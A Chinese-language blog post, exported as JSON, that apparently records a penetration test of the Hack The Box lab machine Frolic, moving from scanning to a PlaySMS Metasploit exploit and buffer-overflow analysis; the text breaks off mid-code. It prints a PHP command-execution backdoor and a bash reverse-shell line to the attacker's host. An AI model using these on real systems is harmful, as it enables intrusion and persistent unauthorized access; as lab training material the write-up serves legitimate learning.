{"id":134,"date":"2024-11-13T10:03:17","date_gmt":"2024-11-13T02:03:17","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=134"},"modified":"2024-11-13T10:03:17","modified_gmt":"2024-11-13T02:03:17","slug":"134","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/134\/","title":{"rendered":"HTB\u9776\u673a Frolic \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.111<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/frolic\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.111\nPING 10.10.10.111 (10.10.10.111) 56(84) bytes of data.\n64 bytes from 10.10.10.111: icmp_seq=1 ttl=63 time=251 ms\n64 bytes from 10.10.10.111: icmp_seq=2 ttl=63 time=253 ms\n64 bytes from 10.10.10.111: icmp_seq=3 ttl=63 time=297 ms\n64 bytes from 10.10.10.111: icmp_seq=4 ttl=63 time=255 ms\n\n--- 10.10.10.111 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3037ms\nrtt min\/avg\/max\/mdev = 251.344\/264.214\/296.889\/18.912 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jul 26 21:53:38 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.111\nNmap scan report for 10.10.10.111 (10.10.10.111)\nHost is up (0.36s latency).\nNot shown: 65530 closed tcp ports (reset)\nPORT     STATE         SERVICE\n22\/tcp   open|filtered ssh\n139\/tcp  open|filtered netbios-ssn\n445\/tcp  open|filtered microsoft-ds\n1880\/tcp open|filtered vsat-control\n9999\/tcp open|filtered abyss\n\n# Nmap done at Fri Jul 26 21:54:26 2024 -- 1 IP address (1 host up) scanned in 48.50 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>5<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jul 26 21:56:38 2024 as: nmap -sS -sV -A -p 22,139,445,1880,9999 -oN .\/tcp_result.txt 10.10.10.111\nNmap scan report for 10.10.10.111 (10.10.10.111)\nHost is up (0.29s latency).\n\nPORT     STATE SERVICE     VERSION\n22\/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)\n|   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)\n|_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)\n139\/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)\n445\/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)\n1880\/tcp open  http        Node.js (Express middleware)\n|_http-title: Node-RED\n9999\/tcp open  http        nginx 1.10.3 (Ubuntu)\n|_http-server-header: nginx\/1.10.3 (Ubuntu)\n|_http-title: Welcome to nginx!\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.4 (95%), Linux 3.16 (95%), Linux 3.18 (95%), Linux 4.2 (95%), Linux 4.8 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Host: FROLIC; OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nHost script results:\n|_clock-skew: mean: -1h49m59s, deviation: 3h10m30s, median: 0s\n|_nbstat: NetBIOS name: FROLIC, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)\n| smb2-security-mode: \n|   3:1:1: \n|_    Message signing enabled but not required\n| smb-os-discovery: \n|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)\n|   Computer name: frolic\n|   NetBIOS computer name: FROLICx00\n|   Domain name: x00\n|   FQDN: frolic\n|_  System time: 2024-07-26T19:26:59+05:30\n| smb2-time: \n|   date: 2024-07-26T13:57:00\n|_  start_date: N\/A\n| smb-security-mode: \n|   account_used: guest\n|   authentication_level: user\n|   challenge_response: supported\n|_  message_signing: disabled (dangerous, but default)\n\nTRACEROUTE (using port 9999\/tcp)\nHOP RTT       ADDRESS\n1   246.64 ms 10.10.14.1 (10.10.14.1)\n2   260.84 ms 10.10.10.111 (10.10.10.111)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Fri Jul 26 21:57:07 2024 -- 1 IP address (1 host up) scanned in 28.70 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jul 26 21:58:27 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.111\nWarning: 10.10.10.111 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.10.111 (10.10.10.111)\nHost is up (0.27s latency).\nNot shown: 65167 open|filtered udp ports (no-response), 367 closed udp ports (port-unreach)\nPORT    STATE SERVICE\n137\/udp open  netbios-ns\n\n# Nmap done at Fri Jul 26 22:04:29 2024 -- 1 IP address (1 host up) scanned in 362.18 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Jul 26 22:11:41 2024 as: nmap -sC -sU -sV -A -p 137 -oN .\/udp_reports.txt 10.10.10.111\nNmap scan report for 10.10.10.111 (10.10.10.111)\nHost is up (0.27s latency).\n\nPORT    STATE SERVICE    VERSION\n137\/udp open  netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP)\n| nbns-interfaces: \n|   hostname: FROLIC\n|   interfaces: \n|_    10.10.10.111\nToo many fingerprints match this host to give specific OS details\nNetwork Distance: 2 hops\nService Info: Host: FROLIC\n\nHost script results:\n|_nbstat: NetBIOS name: FROLIC, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)\n\nTRACEROUTE (using port 137\/udp)\nHOP RTT       ADDRESS\n1   251.70 ms 10.10.14.1 (10.10.14.1)\n2   283.82 ms 10.10.10.111 (10.10.10.111)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Fri Jul 26 22:11:45 2024 -- 1 IP address (1 host up) scanned in 4.07 seconds<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u4ee5\u53ca\u57df\u540d<code>forlic.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/frolic]\n\u2514\u2500# nc -nv 10.10.10.111 22\n(UNKNOWN) [10.10.10.111] 22 (ssh) open\nSSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4<\/code><\/pre>\n<h2>SMB\u670d\u52a1\uff08135\u3001445\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>nbtscan<\/code>\u786e\u5b9a\u670d\u52a1<code>NetBIOS<\/code>\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/frolic]\n\u2514\u2500# nbtscan 10.10.10.111  \nDoing NBT name scan for addresses from 10.10.10.111\n\nIP address       NetBIOS Name     Server    User             MAC address      \n------------------------------------------------------------------------------\n10.10.10.111     FROLIC           &lt;server&gt;  FROLIC           00:00:00:00:00:00<\/code><\/pre>\n<p>\u968f\u540e\u4f7f\u7528<code>enum4linux<\/code>\u679a\u4e3e<code>SMB<\/code>\u670d\u52a1\uff1a<\/p>\n<pre><code class=\"language-shell\">enum4linux -a 10.10.10.111<\/code><\/pre>\n<p>\u4f46\u672a\u53d1\u73b0\u4efb\u4f55\u6709\u6548\u4fe1\u606f\u3002<\/p>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff089999\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/forlic.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722039698696-324d63cf-d5ff-4423-819f-712567fc005d.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Sat Jul 27 08:23:49 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/forlic.htb:9999\/ -x 400,403,404 -e php,js,html,asp,aspx,txt,zip,tar.gz,pcap -t 60\n\n301   194B   http:\/\/forlic.htb:9999\/admin    -&gt; REDIRECTS TO: http:\/\/forlic.htb:9999\/admin\/\n200   634B   http:\/\/forlic.htb:9999\/admin\/\n200   634B   http:\/\/forlic.htb:9999\/admin\/index.html\n200    28B   http:\/\/forlic.htb:9999\/backup\/\n301   194B   http:\/\/forlic.htb:9999\/backup    -&gt; REDIRECTS TO: http:\/\/forlic.htb:9999\/backup\/\n301   194B   http:\/\/forlic.htb:9999\/dev    -&gt; REDIRECTS TO: http:\/\/forlic.htb:9999\/dev\/\n301   194B   http:\/\/forlic.htb:9999\/test    -&gt; REDIRECTS TO: http:\/\/forlic.htb:9999\/test\/\n200    83KB  http:\/\/forlic.htb:9999\/test\/<\/code><\/pre>\n<p>\u8bbf\u95ee<code>\/admin<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0\u4e3a\u4e00\u4e2a\u767b\u5f55\u6846\uff0c\u5e76\u63d0\u793a\u4e86\u8be5\u767b\u5f55\u754c\u9762\u5b58\u5728\u6f0f\u6d1e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722041345945-83907873-724e-4eb2-b402-775c1b2259f5.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u8f93\u5165\u4efb\u610f\u503c\u8fdb\u884c\u767b\u5f55\uff0c\u53d1\u73b0\u8be5\u9875\u9762\u6ca1\u6709\u8fdb\u884c\u4efb\u4f55\u7f51\u7edc\u8bf7\u6c42\uff0c\u5c31\u5f39\u6846\u63d0\u793a\u767b\u5f55\u9519\u8bef\u3002\u67e5\u770b\u9875\u9762\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u767b\u5f55\u6309\u94ae\u4f7f\u7528\u4e86<code>JavaScript<\/code>\u70b9\u51fb\u4e8b\u4ef6\uff0c\u5176\u7ed1\u5b9a\u4e86\u4e00\u4e2a\u51fd\u6570<code>validate()<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722041611905-42e7c4d6-c057-43d4-9d3a-1b3162bef4f9.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b<code>\/admin\/js\/login.js<\/code>\u7684\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u4f7f\u7528\u524d\u7aef\u5b58\u50a8\u5e76\u6821\u9a8c\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<pre><code class=\"language-javascript\">var attempt = 3; \/\/ Variable to count number of attempts.\n\/\/ Below function Executes on click of login button.\nfunction validate(){\n  var username = document.getElementById(\"username\").value;\n  var password = document.getElementById(\"password\").value;\n  if ( username == \"admin\" &amp;&amp; password == \"superduperlooperpassword_lol\"){\n    alert (\"Login successfully\");\n    window.location = \"success.html\"; \/\/ Redirecting to other page.\n    return false;\n  }\n  else{\n    attempt --;\/\/ Decrementing by one.\n    alert(\"You have left \"+attempt+\" attempt;\");\n    \/\/ Disabling fields after 3 attempts.\n    if( attempt == 0){\n      document.getElementById(\"username\").disabled = true;\n      document.getElementById(\"password\").disabled = true;\n      document.getElementById(\"submit\").disabled = true;\n      return false;\n    }\n  }\n}<\/code><\/pre>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>admin<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>superduperlooperpassword_lol<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u8bbf\u95ee<code>success.html<\/code>\uff0c\u53d1\u73b0\u5982\u4e0b\u5bc6\u6587\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722042024683-6ab6ef71-9ca6-474c-8df2-a8af825fc07b.png\" alt=\"\" \/><\/p>\n<p>\u8054\u7f51\u67e5\u8be2\u8be5\u5bc6\u6587\u7279\u5f81\uff0c\u53d1\u73b0\u4e3a<code>Short Ook!<\/code>\u7f16\u7801\uff0c\u4f7f\u7528\u5728\u7ebf\u89e3\u5bc6\u7f51\u7ad9\u8fdb\u884c\u89e3\u5bc6\u540e\uff0c\u53d1\u73b0\u6709\u5982\u4e0b\u6587\u672c\uff1a<\/p>\n<pre><code class=\"language-plain\">Nothing here check \/asdiSIAJJ0QWE9JAS<\/code><\/pre>\n<p>\u8bbf\u95ee<code>http:\/\/forlic.htb:9999\/asdiSIAJJ0QWE9JAS\/<\/code>\uff0c\u53d1\u73b0\u6709\u4e00\u4e32<code>Base64<\/code>\u5bc6\u6587\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722042183252-06841fd5-b8b4-4f52-9f5c-6031312fd2e7.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u89e3\u7801\u540e\uff0c\u53d1\u73b0\u4e3a<code>ZIP<\/code>\u6587\u4ef6\uff0c\u5c1d\u8bd5\u8bbf\u95ee\uff0c\u53d1\u73b0\u9700\u8981\u5bc6\u7801\u89e3\u538b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722042352841-9e5b1570-b766-45e1-b8bc-d05f42bbbd35.png\" alt=\"\" \/><\/p>\n<p>\u8bbf\u95ee<code>\/backup<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0\u5217\u51fa\u4e86<code>2<\/code>\u4e2a\u6587\u4ef6\u548c<code>1<\/code>\u4e2a\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-html\">password.txt\nuser.txt\nloop\/<\/code><\/pre>\n<p>\u8bbf\u95ee<code>user.txt<\/code>\u548c<code>password.txt<\/code>\uff0c\u53ef\u4ee5\u53d1\u73b0\u767b\u5f55\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>admin<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>imnothuman<\/code><\/li>\n<\/ul>\n<p>\u81f3\u4e8e\u53e6\u5916\u4e00\u4e2a\u76ee\u5f55<code>\/loop<\/code>\uff0c\u53d1\u73b0\u65e0\u8bba\u5728\u7f51\u5740\u6700\u540e\u6dfb\u52a0\u591a\u5c11\u4e2a<code>\/loop<\/code>\uff0c\u9875\u9762\u603b\u662f\u8fd4\u56de<code>403<\/code>\uff0c\u5148\u653e\u7740\u4e0d\u7ba1\u3002<\/p>\n<p>\u8bbf\u95ee<code>\/dev<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0\u9875\u9762\u8fd4\u56de<code>403<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722043009023-eedab961-0c8b-44e3-b890-58e2ad624114.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Sat Jul 27 09:19:02 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/forlic.htb:9999\/dev -x 400,403,404 -e php,js,html,txt,zip,tar.gz,pcap -t 60\n\n301   194B   http:\/\/forlic.htb:9999\/dev\/backup    -&gt; REDIRECTS TO: http:\/\/forlic.htb:9999\/dev\/backup\/\n200    11B   http:\/\/forlic.htb:9999\/dev\/backup\/\n200     5B   http:\/\/forlic.htb:9999\/dev\/test<\/code><\/pre>\n<p>\u8bbf\u95ee<code>\/dev\/backup<\/code>\u76ee\u5f55\uff0c\u53d1\u73b0\u9875\u9762\u4e3a\uff1a<\/p>\n<pre><code class=\"language-plain\">\/playsms<\/code><\/pre>\n<p>\u8bbf\u95ee\u8be5\u76ee\u5f55\uff0c\u6210\u529f\u53d1\u73b0\u9776\u673a\u90e8\u7f72\u4e86<code>PlaySMS<\/code>\u77ed\u4fe1\u5e73\u53f0\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722043543296-72cd7bd9-fd8d-40b5-bd61-75e587d34271.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u8054\u7f51\u67e5\u8be2\uff0c\u53d1\u73b0\u8be5\u7cfb\u7edf\u5b58\u5728\u591a\u4e2a\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u3002<\/p>\n<p>\u8bbf\u95ee<code>\/test<\/code>\uff0c\u53d1\u73b0\u4e3a<code>PHPInfo<\/code>\u9875\u9762\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722044013970-69395d2e-abfe-437f-86fd-ed5259eafa44.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u7206\u7834\u538b\u7f29\u5305\u5bc6\u7801<\/h2>\n<p>\u4fdd\u5b58\u538b\u7f29\u5305\u4e4b\u540e\uff0c\u5c1d\u8bd5\u4e86\u591a\u4e2a\u6536\u96c6\u5230\u7684\u5bc6\u7801\u8fdb\u884c\u89e3\u538b\uff0c\u5168\u90e8\u5931\u8d25\uff0c\u53ea\u597d\u4f7f\u7528<code>John<\/code>\u5de5\u5177\u6765\u7206\u7834\u538b\u7f29\u5305\u5bc6\u7801\uff1a<\/p>\n<pre><code class=\"language-shell\">zip2john .\/htb_frolic.zip &gt; .\/frolic_ziphash.txt\njohn .\/frolic_ziphash.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722044903197-b57e3e0e-ba0c-4084-9ae6-24884ff53f2f.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u538b\u7f29\u5305\u53e3\u4ee4\uff1a<code>password<\/code>\u3002<\/p>\n<h2>\u89e3\u5bc6\u538b\u7f29\u5305\u5185\u6587\u4ef6<\/h2>\n<p>\u67e5\u770b\u89e3\u538b\u51fa\u7684<code>index.php<\/code>\u6587\u4ef6\uff0c\u53d1\u73b0\u91cc\u9762\u662f\u4e00\u4e32<code>16<\/code>\u8fdb\u5236\u6587\u672c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722045003757-303807ce-3b9b-4e0c-8df3-2170da2f610a.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u5728\u7ebf\u5de5\u5177\u5c06\u5176\u8f6c\u6362\u4e3a<code>ASCII<\/code>\u6587\u672c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722045193443-1bb4e9fc-fba1-431e-ade0-b6cb6594a5de.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u89e3\u5bc6\u7ed3\u679c\u4e3a<code>Base64<\/code>\u5bc6\u6587\uff0c\u76f4\u63a5\u89e3\u7801\uff0c\u53d1\u73b0\u89e3\u7801\u540e\u7684\u7ed3\u679c\u4e3a<code>Brainfuck<\/code>\u5bc6\u6587\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722045324714-2b41b43f-ddbe-4087-9677-ab10aa935e10.png\" alt=\"\" \/><\/p>\n<p>\u6700\u540e\u53c8\u662f\u4f7f\u7528\u5728\u7ebf\u5de5\u5177\u89e3\u7801\uff0c\u7ed3\u679c\u4e3a\uff1a<\/p>\n<pre><code class=\"language-plain\">idkwhatispass<\/code><\/pre>\n<p>emmm\u3002\u3002\u3002\u3002\u770b\u8d77\u6765\u8fd9\u4e32\u6587\u672c\u975e\u5e38\u50cf\u67d0\u4e2a\u5728\u7ebf<code>Web<\/code>\u5e94\u7528\u7684\u5bc6\u7801\u3002\u3002\u3002\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u5982\u4e0b\u51ed\u636e\u767b\u5f55<code>PlaySMS<\/code>\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>admin<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>idkwhatispass<\/code><\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722045513021-d94a32bb-81f2-4996-b9e9-d66e5268d3c3.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>MSF\u6f0f\u6d1e\u5229\u7528<\/h2>\n<p>\u7ecf\u8fc7\u8054\u7f51\u67e5\u8be2\uff0c\u53d1\u73b0<code>PlaySMS<\/code>\u7684\u67d0\u4e00\u4e2a\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08<code>CVE-2017-9101<\/code>\uff09\u53ef\u4ee5\u4f7f\u7528<code>Metasploit<\/code>\u8fdb\u884c\u5229\u7528\u3002\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u8bbe\u7f6e\u53c2\u6570\uff1a<\/p>\n<pre><code class=\"language-shell\">use multi\/http\/playsms_uploadcsv_exec\nset RHOSTS 10.10.10.111\nset RPORT 9999\nset TARGETURI \/playsms\nset USERNAME admin\nset PASSWORD idkwhatispass\nset LHOST 10.10.14.3\nset LPORT 443\nrun<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722048593105-395bc6fc-286a-4d8c-b247-3c509a6d88d4.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97<code>Meterpreter Shell<\/code>\u4e4b\u540e\uff0c\u4e0a\u4f20\u5982\u4e0b<code>PHP<\/code>\u540e\u95e8\u8fdb\u884c\u6743\u9650\u7ef4\u6301\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\n  $command = $_GET['cmd'];\n  if (isset($command) &amp;&amp; !empty($command)) {\n    system($command);\n  } else die(\"Hello, hello, I'm sparkle!\");\n?&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722048924962-201fd855-8f64-4500-8bd5-93d836f52125.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u5173\u95ed<code>Metasploit<\/code>\uff0c\u4f7f\u7528<code>BurpSuite<\/code>\u8bbf\u95ee\u540e\u95e8\uff0c\u53cd\u5f39Shell\uff1a<\/p>\n<pre><code class=\"language-bash\">\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.3\/443 0&gt;&amp;1'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722049295113-53b3bd96-61b0-4203-a886-294e8ca76a65.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722069483343-819d272e-373e-4dbb-9217-7c7e6eeb01be.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722069493531-577d5ae4-0de1-4e4c-ae59-439aeffc06d6.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722069493527-ea19ab30-28d8-4dde-8866-d845dced48e1.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722069498372-9baa904e-312e-4f6a-b1e6-0e66af0e92ac.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722069530928-7a074847-4628-4a85-9353-610cc144f1b2.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722069540885-7bee50c6-7c00-4314-903f-dae2d5dc5f99.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722069551729-d81bf47e-f8b5-473f-849f-60602e215650.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722069555715-c7bff520-ac33-49a5-b168-165c2dcc5799.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1722069564182-4f3bdf86-604c-49e6-a8cf-30ee1e7d1406.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0<code>\/home\/ayush\/.binary\/rop<\/code>\u4e3a<code>SUID<\/code>\u7a0b\u5e8f\uff0c\u5176\u5c5e\u4e3b\u4e3a<code>root<\/code>\uff0c\u6743\u9650\u4e3a<code>4755<\/code>\uff0c\u51b3\u5b9a\u4ee5\u8be5\u7a0b\u5e8f\u4f5c\u4e3a\u5165\u53e3\u63d0\u6743\u3002<\/p>\n<h2>Linux\u7f13\u51b2\u533a\u6ea2\u51fa\u63d0\u6743<\/h2>\n<p>\u76f4\u63a5\u5c06\u8be5\u7a0b\u5e8f\u590d\u5236\u5230<code>\/var\/www\/html<\/code>\u76ee\u5f55\uff0c\u4e0b\u8f7d\u5230\u672c\u5730\u4e4b\u540e\u8fdb\u884c\u53cd\u7f16\u8bd1\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl vuln(char *src)\n{\n  char dest[48]; \/\/ [esp+8h] [ebp-30h] BYREF\n\n  strcpy(dest, src);\n  printf(\"[+] Message sent: \");\n  return printf(dest);\n}\n\nint __cdecl main(int argc, const char **argv, const char **envp)\n{\n  setuid(0);\n  if ( argc &gt; 1 )\n  {\n    vuln((char *)argv[1]);\n    return 0;\n  }\n  else\n  {\n    puts(\"[*] Usage: program &lt;message&gt;\");\n    return -1;\n  